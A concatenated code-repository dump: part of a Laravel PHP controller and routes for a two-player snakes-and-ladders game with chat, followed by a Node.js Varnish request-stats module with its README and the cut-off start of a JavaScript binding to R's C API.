$diceValue ], 'player' => $this->returnPlayerArray($player, $gameMove, false) ]; //$gameData = ['diceValue' => $diceValue, 'whoseTurn' => $gameMove -> whoseTurn , 'rolled' => $gameMove -> {$player . '_rolled'} ]; $data['gameData'] = $gameData; return $this->sendResponse(true, 'Not Your Turn', $data, $challengeStatus); } else { // if the user is a valid user to play $oldScore = $gameMove->{$player . '_score'}; //get old score to generate new score... $newScore = $diceValue + (int)$oldScore; // this will give new score. $snakeIndex = array_search($newScore, $snake); $ladderIndex = array_search($newScore, $ladder); if ($snakeIndex !== false) {// test if this is a snake byte $newScore = $newScore - $snakeByteDiff[$snakeIndex]; } if ($ladderIndex !== false) { // test if this is a ladder climb $newScore = $newScore + $ladderClimDiff[$ladderIndex]; } if ($newScore > 99) { //check if new dice value is making the more than 100; $gameMove->{$player . '_rolled'} = 'yes'; $gameMove->{$opponentId . '_rolled'} = 'no'; $gameMove->whoseTurn = $gameMove->{$opponentId . '_id'}; $gameMove->save(); $winningDiff = 99 - $oldScore; // $gameData = ['diceValue' => $diceValue, 'whoseTurn' => $gameMove -> whoseTurn , 'rolled' => $gameMove -> {$player . '_rolled'} ]; $gameData = [ 'game' => [ 'id' => $gameMove->game_id, 'whoseTurn' => $gameMove->whoseTurn, 'diceValue' => $diceValue ], 'player' => $this->returnPlayerArray($player, $gameMove, false) ]; $data['gameData'] = $gameData; return $this->sendResponse(true, 'You need more' . $winningDiff, $data, $challengeStatus); } else { // this is an assurance that the move and score now can be saved in the data base. // $originalDiff = $gameMove->{$player . '_difference'}; if ($gameMove->{$player . '_toPosition'} === '50,550' || $gameMove->{$player . '_toPosition'} === '150,550') { // this check if the it is the first move $gameMove->{$player . '_toPosition'} = '0,0'; } $newDiff = intdiv($newScore, 10); //$toPosition = explode(',', $gameMove->{$player . '_toPosition'}); $gameMove->{$player . '_fromPosition'} = $gameMove->{$player . '_toPosition'}; ($newScore % 10 === 0) ? $gameMove->{$player . '_toPosition'} = ((int)$newDiff - 1) . ',9' : $gameMove->{$player . '_toPosition'} = (int)$newDiff . ',' . (($newScore % 10) - 1); $gameMove->{$player . '_score'} = $newScore; $gameMove->{$player . '_diceValue'} = $diceValue; $gameMove->{$player . '_rolled'} = 'yes'; $gameMove->save(); if ((int)$gameMove->{$player . '_score'} === 99) { $challengeStatus = $challenge->status; $result = new Result(); $result->game_id = $gameId; $result->winner = $gameMove->{$player . '_id'}; $result->loser = $gameMove->{$opponentId . '_id'}; $result->save(); $returnResult = ['gameId' => $result->game_id, 'winner' => $result->winner, 'loser' => $result->loser]; $gameData = [ 'game' => [ 'id' => $gameMove->game_id, 'whoseTurn' => $gameMove->whoseTurn, 'diceValue' => $diceValue ], 'result' => $returnResult ]; $data['gameData'] = $gameData; return $this->sendResponse(true, $this->message['won'], $data, $challengeStatus); } $gameData = [ 'game' => [ 'id' => $gameMove->game_id, 'whoseTurn' => $gameMove->whoseTurn, 'diceValue' => $diceValue ], 'player' => $this->returnPlayerArray($player, $gameMove, false) ]; $data['gameData'] = $gameData; return $this->sendResponse( true, 'Waiting for you drag. Board with be updated in 10 sec and move will change unless you drag your piece', $data, $challengeStatus ); } } } else { return $this->sendResponse(true, 'Sorry! This is a invalid request', $data, $challengeStatus); } } catch (\Illuminate\Database\QueryException $ex) { return $this -> sendResponse(false, $this -> message['error'], null, null); } catch(Exception $ex) { return $this -> sendResponse(false, $this -> message['error'], null, null); } } /** * Change turn and update board for the players. */ public function changeTurn(Request $request){ try { $testPlayer1 = filter_var($request->id, FILTER_SANITIZE_STRING); $gameId = filter_var($request->gameId, FILTER_SANITIZE_STRING); if ($testPlayer1 == '' || $gameId == '') return $this->sendResponse('false', $this->message['badRequest'], null, null); $testPlayer2 = auth()->user()->id; $data = ['messageData' => [], 'gameData' => []]; $challengeStatus = null; //retrieve game $gameMove = GameMove:: where('game_id', $gameId)->first(); $originalPlayer1 = $gameMove->player0_id; $originalPlayer2 = $gameMove->player1_id; //for challenges $challenge = $this->returnChallenge($originalPlayer1, $originalPlayer2, 'neutral'); $challengeStatus = $challenge->status; if ( ($originalPlayer1 == $testPlayer1 && $originalPlayer2 == $testPlayer2) || ($originalPlayer1 == $testPlayer2 && $originalPlayer2 == $testPlayer1) || $challengeStatus !== 'accepted' ) { // decide which player ($testPlayer2 === (int)$originalPlayer1) ? $player = 'player0' : $player = 'player1'; $opponentId = substr($player, -1, 1); ((int)$opponentId === 0) ? $opponentId = 'player1' : $opponentId = 'player0'; // Check for valid turn. if ($gameMove->whoseTurn == $gameMove->{$opponentId . '_id'}) { return $this->sendResponse( true, $this->message['waitingForOther'], $data, $challengeStatus ); } else { $gameMove->{$opponentId . '_rolled'} = 'no'; $gameMove->whoseTurn = $gameMove->{$opponentId . '_id'}; $gameMove->save(); $gameData = [ 'game' => [ 'id' => $gameMove->game_id, 'whoseTurn' => $gameMove->whoseTurn, ], 'player' => $this->returnPlayerArray($player, $gameMove, false) ]; $data['gameData'] = $gameData; return $this->sendResponse( true, $this->message['turnchanged'], $data, $challengeStatus ); } } } catch (\Illuminate\Database\QueryException $ex) { return $this -> sendResponse(false, $this -> message['error'], null, null); } catch(Exception $ex) { return $this -> sendResponse(false, $this -> message['error'], null, null); } } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { try { $gameMove = GameMove:: where('game_id', $id)->first(); $originalPlayer1 = $gameMove->player0_id; $originalPlayer2 = $gameMove->player1_id; $challenge = $this->returnChallenge($originalPlayer1, $originalPlayer2, 'neutral'); $challengeStatus = $challenge->status; (auth()->user()->id == $originalPlayer1) ? $thisPlayer = 'player0' : $thisPlayer = 'player1'; ($thisPlayer == 'player0') ? $opponent = 'player1' : $opponent = 'player0'; if ($challengeStatus === 'finished') { $result = Result::where('game_id', $id)->first(); $returnResult = ['gameId' => $result->game_id, 'winner' => $result->winner, 'loser' => $result->loser]; $gameData = [ 'game' => [ 'id' => $gameMove->game_id, 'whoseTurn' => $gameMove->whoseTurn, 'diceValue' => 0 ], 'result' => $returnResult ]; $data['gameData'] = $gameData; return $this->sendResponse( true, $this->message['gameOver'], $data, $challengeStatus ); } if ($gameMove->{$opponent . '_rolled'} == 'yes' && $gameMove->{$thisPlayer . '_rolled'} == 'no') { $data = ['messageData' => [], 'gameData' => []]; $gameData = [ 'game' => [ 'id' => $gameMove->game_id, 'whoseTurn' => $gameMove->whoseTurn, ], 'opponent' => $this->returnPlayerArray($opponent, $gameMove, false), 'thisPlayer' => $this->returnPlayerArray($thisPlayer, $gameMove, false) ]; $data['gameData'] = $gameData; return $this->sendResponse(true, 'Retrieved successfully', $data, $challengeStatus); } else { $data = ['messageData' => [], 'gameData' => []]; $gameData = [ 'game' => [ 'id' => $gameMove->game_id, 'whoseTurn' => $gameMove->whoseTurn, ] ]; $data['gameData'] = $gameData; return $this->sendResponse(true, 'Waiting for other player', $data, $challengeStatus); } } catch (\Illuminate\Database\QueryException $ex) { return $this -> sendResponse(false, $this -> message['error'], null, null); } catch(Exception $ex) { return $this -> sendResponse(false, $this -> message['error'], null, null); } } /** * @param $id id of the opponent * @return \Illuminate\Http\Response */ public function invite($id){ try { $user = auth()->user()->id; $data = ['messageData' => [], 'gameData' => []]; $challengeStatus = null; $challenge = $this->returnChallenge($user, $id, 'neutral'); if ($challenge === null || $challenge->status === 'finished') { $challenge = new Challenge(); $receiver_id = $id; $sender_id = auth()->user()->id; $message_id = $sender_id . '|' . $receiver_id; $challenge->id = $message_id; $challenge->sender = $sender_id; $challenge->active = true; $challenge->status = 'requested'; $challenge->receiver = $receiver_id; $challenge->save(); $challengeStatus = 'requested'; return $this->sendResponse( true, $this->message['requestSend'], $data, $challengeStatus ); } else { return $this->sendResponse( true, $this->message ['canntSendRequest'], $data, $challengeStatus ); } } catch (\Illuminate\Database\QueryException $ex) { return $this -> sendResponse(false, $this -> message['error'], null, null); } catch(Exception $ex) { return $this -> sendResponse(false, $this -> message['error'], null, null); } } /** * @param $id id of the opponent * @return \Illuminate\Http\Response */ public function accept($id){ try { $SIZE = 50; $HEIGHT = 10; $WIDTH = 10; $challengeStatus = null; $data = ['messageData' => [], 'gameData' => []]; if ($id !== '') { $user = auth()->user()->id; $challenge = $this->returnChallenge($user, $id, 'requested'); $challengeStatus = $challenge->status; if ($challenge !== null && $challenge->game_id === null) { $game = new Game(); $game->player1 = $id; $game->player2 = $user; $game->who_start = $id; $game->board_dimension = $HEIGHT . 'x' . $WIDTH . 'x' . $SIZE; $game->save(); // update challenge table $challenge->status = 'accepted'; $challenge->game_id = $game->id; $challenge->save(); // create new game. $move = new GameMove(); $move->game_id = $game->id; $move->whoseTurn = $id; // assign new values to player 1 $move->player0_id = $id; $move->player0_pieceId = $id; $move->player0_diceValue = 0; $move->player0_fromPosition = '0,0'; $move->player0_toPosition = '50,550'; $move->player0_moveType = 'initial'; $move->player0_score = 0; $move->player0_difference = 0; $move->player0_rolled = 'no'; // assign new values to player 2 $move->player1_id = $user; $move->player1_pieceId = $user; $move->player1_diceValue = 0; $move->player1_fromPosition = '0,0'; $move->player1_toPosition = '150,550'; $move->player1_moveType = 'initial'; $move->player1_score = 0; $move->player1_difference = 0; $move->player1_rolled = 'yes'; $move->save(); /********************************************************************************************************************************/ // board size list($HEIGHT, $WIDTH, $SIZE) = explode('x', $challenge->game->board_dimension); $gameData = [ 'game' => [ 'id' => $move->game_id, 'whoseturn' => $move->whoseTurn, 'height' => $HEIGHT, 'width' => $WIDTH, 'size' => $SIZE ], 'player0' => $this->returnPlayerArray('player0', $move, false), 'player1' => $this->returnPlayerArray('player1', $move, false) ]; /********************************************************************************************************************************/ $data['gameData'] = $gameData; return $this->sendResponse( true, $this->message['gameStart'], $data, $challengeStatus ); } return $this->sendResponse( true, $this->message['gameStartedError'], $data, $challengeStatus ); } } catch (\Illuminate\Database\QueryException $ex) { return $this -> sendResponse(false, $this -> message['error'], null, null); } catch(Exception $ex) { return $this -> sendResponse(false, $this -> message['error'], null, null); } } /** * */ public function getChallenges($id){ if($id !== ''){ $user = auth()->user()->id; $challenge = $this -> returnChallenge($user, $id, 'requested'); $data = ['challenge' => $challenge]; return array('status'=> true, 'data' => $data); } } public function getBoardData($id) { $user = auth()->user()->id; $searchParam1 = $id . '|' . $user; $searchParam2 = $user . '|' . $id; $challenge = Challenge::where('id', $searchParam1)->orWhere('id', $searchParam2) ->first(); $dimension = explode('x', $challenge->game->board_dimension); $gameData = ['height' => $dimension[0], 'width' => $dimension[1], 'size' => $dimension[2], 'who_start' => $challenge->game->who_start, 'gameID' => $challenge->game_id, 'positionX' => 0, 'positionY' => 0]; $data = ['status' => $challenge->status, 'message' => 'Game started', 'gameData' => $gameData]; return array('status' => true, 'data' => $data); } /******************************************************************************************************************************************/ /*********************************************** helper function to return consistent response ********************************************/ public function sendResponse($status, $message, $data, $challengeStatus){ return array( 'status' => $status, 'message' => $message, 'data' => $data, 'challengeStatus' => $challengeStatus ); } /******************************************************************************************************************************************/ /******************************************************************************************************************************************/ /***************************************************** helper function to return challenge status *****************************************/ public function returnChallenge($player0, $player2, $condition){ //for challenges $searchParam1 = $player0 . '|' . $player2; $searchParam2 = $player2 . '|' . $player0; switch($condition){ case 'neutral': return Challenge::where('id',$searchParam1) ->orWhere('id',$searchParam2) ->orderBy('created_at','desc') ->first(); case 'requested': return Challenge::where('id', $searchParam1)->orWhere('id', $searchParam2)->where('status','requested') ->orderBy('created_at','desc') ->first(); } } /******************************************************************************************************************************************/ /******************************************************************************************************************************************/ /*********************************************** helper function to return player's moves data ********************************************/ public function returnPlayerArray($player, $gameMove, $rolled) { ($rolled) ? list($X, $Y) = explode(',', $gameMove -> { $player . '_fromPosition' } ) : list($X, $Y) = explode(',', $gameMove -> { $player . '_toPosition' } ); $positionX = $X; $positionY = $Y; $playerScore = $gameMove->{ $player . '_score' }; $playerRolled = $gameMove->{ $player . '_rolled' }; return [ 'id' => $gameMove -> { $player . '_id' }, 'piece_id' => $gameMove -> { $player . '_pieceId' }, 'x' => $positionX, 'y' => $positionY, 'score' => $playerScore, 'rolled' => $playerRolled ]; } /******************************************************************************************************************************************/ /** ************************************************ Unused paths/functions *****************************************************************/ /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { // } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id){ // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id){ // } } <file_sep>/app/Http/Controllers/DashboardController.php <?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\User; use App\Group; use App\Challenge; use App\Message; use App\GameMove; class DashboardController extends Controller { private $message = [ 'error' => 'Something wnet wrong', 'success' => 'Retrieval was successful' ]; private $error = 'Something went wrong'; private $success = 'Retrieval was successful'; /** * Create a new controller instance. * * @return void */ public function __construct() { $this->middleware('auth'); } /** * Show the application dashboard. * * @return \Illuminate\Http\Response */ public function index() { $user_id = auth()->user()->id; $challenges = []; $groupArray = []; $userArray =[]; try { /**************************************************************************************************************************************/ // getting all the challenges and preparing array $challenge = Challenge::where('receiver', $user_id)->where('status','requested')->get(); foreach($challenge as $c) { $challenges[] = ['challenger_id' => $c->sender, 'challenger' => $c->haveChallenged->name]; } /**************************************************************************************************************************************/ /**************************************************************************************************************************************/ // getting all the users and preparing array $users = User::where('id','!=',$user_id)->get(); foreach($users as $user) { $userArray[] = ['id' => $user->id, 'image_url' => $user->image_url, 'name' => $user->name]; } /**************************************************************************************************************************************/ /**************************************************************************************************************************************/ // getting all the groups and preparing array $groups = Group::all(); foreach($groups as $group) { $groupArray[] = ['id' => $group->id, 'image_url' => $group->image_url, 'name' => $group->name]; } /**************************************************************************************************************************************/ return view('dashboard')->with('users', $userArray)->with('groups', $groupArray)->with('challenges',$challenges)->with('message','You aer ready to Go!');; } catch (Exception $ex) { return view('dashboard')->with('users', $userArray)->with('groups', $groupArray)->with('challenges',$challenges)->with('message','Something went wrong'); } } // End of index function. public function show($type,$id) { try { $challengeStatus = null; $messageData = []; $data = []; if (($type === 'group') || ($type == 'individual')) { $user_id1 = $id; $user_id2 = auth()->user()->id; $searchParam1 = $user_id1 . '|' . $user_id2; $searchParam2 = $user_id2 . '|' . $user_id1; /**************************************************************************************************************************************/ // getting all the messages any way ( be it be individual user or group) ($type !== 'group') ? $messages = Message::where('id', $searchParam1)->orWhere('id', $searchParam2) ->get() : $messages = Message::where('id', $id)->get(); foreach ($messages as $msg) { $messageData[] = [ 'body' => $msg->body, 'created_at' => $msg->created_at->format('H:i'), 'userName' => $msg->user->name, 'userImage' => $msg->user->image_url ]; } /**************************************************************************************************************************************/ /**************************************************************************************************************************************/ // Check if the selected user is a individual user. If yes check if this user is already playing/challenged selected user. if ($type === 'individual') { $challenge = Challenge::where('id', $searchParam1)->orWhere('id', $searchParam2)->where('status','!=','finished') ->first(); $gameData = []; if ($challenge) { $challengeStatus = $challenge->status; if($challengeStatus === 'accepted'){ $gameMove = GameMove:: where('game_id', $challenge->game_id)->first(); $player0Name = $challenge->haveChallenged->name; $player1Name = $challenge->getChallenged->name; list($HEIGHT, $WIDTH, $SIZE) = explode('x',$challenge->game->board_dimension); $gameData = [ 'game'=> [ 'id' => $gameMove->game_id, 'whoseturn' => $gameMove->whoseTurn, 'height' => $HEIGHT, 'width' => $WIDTH, 'size' => $SIZE ], 'player0' => $this -> returnPlayerArray('player0', $gameMove, $player0Name), 'player1' => $this -> returnPlayerArray('player1', $gameMove, $player1Name) ]; } } $data = ['messageData' => $messageData, 'gameData' => $gameData]; return $this -> sendResponse(true, $this -> message['success'], $data, $challengeStatus); } /**************************************************************************************************************************************/ $data['messageData'] = $messageData; $data['gameData'] = []; //return data for group users return $this -> sendResponse(true, $this -> message['success'], $data, $challengeStatus); } else { return $this -> sendResponse(false, $this -> message['error'], null, $challengeStatus); } } catch (\Illuminate\Database\QueryException $ex) { return $this -> sendResponse(false, $this -> message['error'], null, $challengeStatus); } catch(Exception $ex) { return $this -> sendResponse(false, $this -> message['error'], null, $challengeStatus); } } public function sendResponse($status, $message, $data, $challengeStatus){ return array( 'status' => $status, 'message' => $message, 'data' => $data, 'challengeStatus' => $challengeStatus ); } public function returnChallenge($player0, $player2){ //for challenges $searchParam1 = $player0 . '|' . $player2; $searchParam2 = $player2 . '|' . $player0; return Challenge::where('id',$searchParam1) ->orWhere('id',$searchParam2) ->orderBy('created_at','desc') ->first(); } public function returnPlayerArray($player, $gameMove, $name) { list($X, $Y) = explode(',', $gameMove -> { $player . '_toPosition' } ); $positionX = $X; $positionY = $Y; $playerScore = $gameMove->{ $player . '_score' }; $playerRolled = $gameMove->{ $player . '_rolled' }; return [ 'id' => $gameMove -> { $player . '_id' }, 'piece_id' => $gameMove -> { $player . '_pieceId' }, 'x' => $positionX, 'y' => $positionY, 'score' => $playerScore, 'rolled' => $playerRolled, 'name' => $name ]; } } <file_sep>/routes/web.php <?php /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | contains the "web" middleware group. Now create something great! | */ Route::get('/', 'PageController@index'); Auth::routes(); Route::get('/dashboard', 'DashboardController@index'); Route::get('/dashboard/{type}/{id}', 'DashboardController@show'); Route::resource('/messages','MessagesController'); Route::get('/messages/getMore/{id}/{date}/{type}','MessagesController@getMore'); Route::resource('/games','GameController'); Route::post('/game/invite/{id}', 'GameController@invite'); Route::post('/game/accept/{id}', 'GameController@accept'); Route::get('/game/challenge/{id}', 'GameController@getChallenges'); Route::get('/game/board/{id}','GameController@getBoardData'); Route::post('/game/change', 'GameController@changeTurn');
764b664f4fb56ca8db7cb24803cf890fc4654813
[ "JavaScript", "PHP" ]
11
JavaScript
juazsh/Game-Chat_withMySQL
9b66580c1b7afcef3d0fb29b1dfcd9444d2d9665
8492845262f55b7f7c9099644c2f76550f1a2967
refs/heads/main
<file_sep># Better rest - Application # Table of Contents - <a href="https://github.com/sergiosepulveda09/BetterRest/tree/main#general-info" >General Info</a> - <a href="https://github.com/sergiosepulveda09/BetterRest/tree/main#technologies">Technologies</a> - <a href="https://github.com/sergiosepulveda09/BetterRest/tree/main#ilustrations">Ilustrations</a> - <a href="https://github.com/sergiosepulveda09/BetterRest/tree/main#inspirations">Inspiration</a> # General info Simple app that tells the user what the best time to sleep would be, It was created using SwiftUI and following 100 Days HackingWithSwift challenge, Machine learning was also implemented on this. # Technologies SwiftUI/Swift # Ilustrations <img width="1440" alt="Screen Shot 2021-07-02 at 11 50 26 AM" src="https://user-images.githubusercontent.com/66451506/124317350-e19a6200-db2b-11eb-975a-84c5395418b7.png"> https://user-images.githubusercontent.com/66451506/124317351-e2cb8f00-db2b-11eb-9c3d-e19191790ad9.mov # Inspirations This project is one of the many projects that are included in the 100 Days of SwiftUi! Thank you Paul. <file_sep>// // ContentView.swift // BetterRest // // Created by <NAME> on 2021-06-10. // import SwiftUI struct ContentView: View { //Default wake up time so it doesn't use the current time static var defaultWakeTime: Date { var components = DateComponents() components.hour = 7 components.minute = 0 return Calendar.current.date(from: components) ?? Date() } //Variables declaration @State private var wakeUp: Date = defaultWakeTime @State private var sleepAmount: Double = 8.0 @State private var coffeeAmount: Int = 1 var recommededTime: String { //Get the MLModel let model = SleepCalculator() //Get the time inputted by the user, it only gets the hour and minutes let components = Calendar.current.dateComponents([.hour, .minute], from: wakeUp) let hour = (components.hour ?? 0) * 60 * 60 let minute = (components.minute ?? 0 ) * 60 //It is gonna do this if the catch doesn't find any error let prediction = try! model.prediction(wake: Double(hour + minute), estimatedSleep: sleepAmount, coffee: Double(coffeeAmount)) //We do this to get the time- substracting the seconds of the desired time. let sleepTime = wakeUp - prediction.actualSleep let formatter = DateFormatter() formatter.timeStyle = .short let result = formatter.string(from: sleepTime) return result } var body: some View { NavigationView { Form { Text("When do you want to wake up?") .font(.headline) DatePicker("Please enter a Date", selection: $wakeUp, displayedComponents: .hourAndMinute) .labelsHidden() .datePickerStyle(WheelDatePickerStyle()) Section { Text("Desired amount of sleep") .font(.headline) Stepper(value: $sleepAmount, in: 4...12, step: 0.25){ Text("\(sleepAmount, specifier: "%g") hours") } } .accessibilityElement(children: .ignore) .accessibility(label: Text("\(Int(sleepAmount)) hours")) Text("Daily coffee intake") .font(.headline) // Stepper(value: $coffeeAmount, in: 1...20) { // if coffeeAmount == 1 { // Text("\(coffeeAmount) cup") // } // else { // Text("\(coffeeAmount) cups") // } // } Picker("Coffe", selection: $coffeeAmount) { ForEach(1..<21) { cups in if cups == 1 { Text("\(cups) cup") } else { Text("\(cups) cups") } } } Section { Text("Recommended time: ") .font(.headline) Text("\(recommededTime)") } } .navigationBarTitle("BetterRest") } } } struct ContentView_Previews: PreviewProvider { static var previews: some View { ContentView() } }
c340892b943691e7d83a160a9dd5b5fbbd30838f
[ "Markdown", "Swift" ]
2
Markdown
sergiosepulveda09/BetterRest
47ef4ffd7a020faa841da61e8ed4e952619a2b72
be7c5538c38697f5b404ec1b5e9b6b64db3c3f73
refs/heads/master
<file_sep># Varnish Stats Collect statistics about varnish requests. ## Usage ```JS var varnishstats = require('varnishstats'); var stats = varnishstats(); stats.on('request', function(requestInfo) { console.log("Request URL: ", requestInfo.requestUrl); console.log("Response status: ", requestInfo.status); console.log("Total size of response in bytes: ", requestInfo.bytes); console.log("Total request/response time in milliseconds: ", requestInfo.time); console.log("Cache hit or miss (as string):", requestInfo.hitmiss); }); ``` ## API By requiring 'varnishstats' you get a function that will start listening to `varnishncsa`. You can then subscribe to the `request` event using the `on` method of the returned object. ### License MIT <file_sep>var spawn = require('child_process').spawn; var EventEmitter = require('events').EventEmitter; var inherits = require('util').inherits; function VarnishStats(varnishncsaProcess) { this.varnishncsa = varnishncsaProcess; var stats = this; function _onVarnishncsaData(data) { var parsedData = varnishncsaOutputParser(data); var requestTopLine = parsedData.request.split(/\s/); parsedData.method = requestTopLine[0]; parsedData.requestUrl = requestTopLine[1]; // HACK: There is a bug in varnishncsa: 304s are never logged // correctly. If the Length is 0 and Response is 200 drop the request // from the logs so we don't log requests for things that are served from browser // cache. (https://www.varnish-cache.org/trac/ticket/1462) ?? // Review;sg; not sure this is the right thing to do if (parsedData.status === 200 && parsedData.bytes === 0) { return; } stats.emit('request', parsedData); } this.varnishncsa.stdout.on('data', _onVarnishncsaData); this.varnishncsa.on('close', function (code) { this.emit('close', code); }.bind(this)); // TODO: Do something with stderr } inherits(VarnishStats, EventEmitter); function varnishncsaOutputParser(dataString) { // Strip out newlines var splitString = dataString.toString().split(' ! ').map(function cleanStrings(string) { return string.replace('\n', ''); }); return { "time": parseInt(splitString[0], 10), "bytes": parseInt(splitString[1], 10), "status": parseInt(splitString[2], 10), "request": splitString[3], "hitmiss": splitString[4] }; } module.exports = function() { // Format as JSON // %D - Response time in microseconds // %b - Response bytes // %s - Response status // %r - Original request // %{Varnish:hitmiss}x - Varnish 'hit' or 'miss' var _varnishncsaFormat = "'%D ! %b ! %s ! %r ! %{Varnish:hitmiss}x ! dummy'"; var _commandLineArgs = ['-F', _varnishncsaFormat]; var varnishncsa = spawn("varnishncsa",_commandLineArgs); return new VarnishStats(varnishncsa); };
7a389520f17ab64960227b56f5698137fdc7309f
[ "Markdown", "JavaScript" ]
2
Markdown
Opportunitylivetv/varnishstats
8a791889c50e15e451e2a8b0a8c02bf606264d6e
63647f298791882cccf0f3fabd8154146c3aba0b
refs/heads/master
<file_sep>"use strict"; import child_process from "child_process"; import process from "process"; import path from "path"; import ffi from "ffi"; import ref from "ref"; import refArray from "ref-array"; import refStruct from "ref-struct"; import { default as windowsRegistry } from "./safe-windows-registry.js"; import debug_ from "debug"; const debug = debug_("libr-bridge:libR"); /* Type */ const stringArr = refArray(ref.types.CString); // char * [] or string[] export const SEXP = ref.refType(ref.types.void); export const SEXPREC_ALIGN_SIZE = ref.types.double.size; export const ComplexInR = refStruct({ r: ref.types.double, i: ref.types.double }); /** R SEXP type enums */ export const SEXPTYPE = { NILSXP : 0, /* nil : NULL */ SYMSXP : 1, /* symbols */ LISTSXP : 2, /* lists of dotted pairs */ CLOSXP : 3, /* closures */ ENVSXP : 4, /* environments */ PROMSXP : 5, /* promises: [un]evaluated closure arguments */ LANGSXP : 6, /* language constructs (special lists) */ SPECIALSXP : 7, /* special forms */ BUILTINSXP : 8, /* builtin non-special forms */ CHARSXP : 9, /* "scalar" string type (internal only)*/ LGLSXP : 10, /* logical vectors */ INTSXP : 13, /* integer vectors */ REALSXP : 14, /* real variables */ CPLXSXP : 15, /* complex variables */ STRSXP : 16, /* string vectors */ DOTSXP : 17, /* dot-dot-dot object */ ANYSXP : 18, /* make "any" args work */ VECSXP : 19, /* generic vectors */ EXPRSXP : 20, /* expressions vectors */ BCODESXP : 21, /* byte code */ EXTPTRSXP : 22, /* external pointer */ WEAKREFSXP : 23, /* weak reference */ RAWSXP : 24, /* raw bytes */ S4SXP : 25, /* S4 non-vector */ NEWSXP : 30, /* fresh node creaed in new page */ FREESXP : 31, /* node released by GC */ FUNSXP : 99 /* Closure or Builtin */ }; export const ParseStatus = { PARSE_NULL: 0, PARSE_OK: 1, PARSE_INCOMPLETE: 2, PARSE_ERROR: 3, PARSE_EOF: 4 }; export const cetype_t = { CE_NATIVE : 0, CE_UTF8 : 1, CE_LATIN1 : 2, CE_BYTES : 3, CE_SYMBOL : 5, CE_ANY : 99 }; const apiList = { "CAR": [SEXP, [SEXP]], "CDR": [SEXP, [SEXP]], "NAMED": ["int", [SEXP]], "R_CHAR": ["string", [SEXP]], "R_curErrorBuf": ["string", []], "R_NilValue": [SEXP, []], // "R_ParseEvalString": [SEXP, ["string", SEXP]], - I don't know why, but Windows dll doesn't have this function. "R_ParseVector": [SEXP, [SEXP, "int", "int*", SEXP]], // SEXP R_ParseVector(SEXP text, int n, ParseStatus *status, SEXP srcfile) "R_PreserveObject": ["void", [SEXP]], "R_ReleaseObject": ["void", [SEXP]], "R_setStartTime": ["void", []], // void R_setStartTime(void); // "R_sysframe": [SEXP, ["int", "pointer"]], "R_tryEval": [SEXP, [SEXP, SEXP, "int*"]], // SEXP R_tryEval(SEXP e, SEXP env, int *ErrorOccurred) "R_tryEvalSilent": [SEXP, [SEXP, SEXP, "int*"]], // SEXP R_tryEvalSilent(SEXP e, SEXP env, int *ErrorOccurred) "Rf_GetRowNames": [SEXP, [SEXP]], "Rf_ScalarInteger": [SEXP, ["int"]], "Rf_ScalarLogical": [SEXP, ["int"]], "Rf_ScalarReal": [SEXP, ["double"]], // SEXP ScalarReal(double x) "Rf_allocVector": [SEXP, ["int", "int"]], // SEXP Rf_allocVector(SEXPTYPE, int R_xlen_t); "Rf_asChar": [SEXP, [SEXP]], "Rf_asInteger": ["int", [SEXP]], "Rf_asLogical": ["int", [SEXP]], "Rf_asReal": ["double", [SEXP]], "Rf_cons": [SEXP, [SEXP, SEXP]], "Rf_defineVar": ["void", [SEXP, SEXP, "pointer"]], "Rf_elt": [SEXP, [SEXP, "int"]], "Rf_endEmbeddedR": ["void", ["int"]], // void Rf_endEmbeddedR(int fatal); "Rf_eval": [SEXP, [SEXP, "int*"]], "Rf_findFun": [SEXP, [SEXP, SEXP]], // SEXP Rf_findFun(SEXP, SEXP) "Rf_findVar": [SEXP, [SEXP, SEXP]], // SEXP Rf_findVar(SEXP, SEXP) "Rf_getAttrib": [SEXP, [SEXP, SEXP]], "Rf_initEmbeddedR": ["int", ["int", stringArr]], // int Rf_initEmbeddedR(int argc, char *argv[]); "Rf_initialize_R": ["int", ["int", stringArr]], "Rf_install": [SEXP, ["string"]], "Rf_isArray": ["int", [SEXP]], // Rboolean Rf_isArray(SEXP); "Rf_isComplex": ["int", [SEXP]], // Rboolean Rf_isComplex(SEXP); "Rf_isExpression": ["int", [SEXP]], // Rboolean Rf_isExpression(SEXP); "Rf_isFactor": ["int", [SEXP]], // Rboolean Rf_isFactor(SEXP); "Rf_isFunction": ["int", [SEXP]], // Rboolean Rf_isFunction(SEXP); "Rf_isInteger": ["int", [SEXP]], // Rboolean Rf_isInteger(SEXP); "Rf_isList": ["int", [SEXP]], // Rboolean Rf_isList(SEXP); "Rf_isLogical": ["int", [SEXP]], // Rboolean Rf_isLogical(SEXP); "Rf_isMatrix": ["int", [SEXP]], // Rboolean Rf_isMatrix(SEXP); "Rf_isNull": ["int", [SEXP]], // Rboolean Rf_isNull(SEXP); "Rf_isNumber": ["int", [SEXP]], // Rboolean Rf_isNumber(SEXP); "Rf_isNumeric": ["int", [SEXP]], // Rboolean Rf_isNumeric(SEXP); "Rf_isPrimitive": ["int", [SEXP]], // Rboolean Rf_isPrimitive(SEXP); "Rf_isReal": ["int", [SEXP]], // Rboolean Rf_isReal(SEXP); "Rf_isS4": ["int", [SEXP]], // Rboolean Rf_isS4(SEXP); "Rf_isString": ["int", [SEXP]], // Rboolean Rf_isString(SEXP); "Rf_isValidString": ["int", [SEXP]], // Rboolean Rf_isValidString(SEXP); "Rf_isVector": ["int", [SEXP]], // Rboolean Rf_isVector(SEXP); "Rf_isFrame": ["int", [SEXP]], // Rboolean Rf_isFrame(SEXP); "Rf_isSymbol": ["int", [SEXP]], // Rboolean Rf_isSymbol(SEXP); "Rf_lang1": [SEXP, [SEXP]], "Rf_lang2": [SEXP, [SEXP, SEXP]], "Rf_lang3": [SEXP, [SEXP, SEXP, SEXP]], "Rf_lang4": [SEXP, [SEXP, SEXP, SEXP, SEXP]], "Rf_lang5": [SEXP, [SEXP, SEXP, SEXP, SEXP, SEXP]], "Rf_lang6": [SEXP, [SEXP, 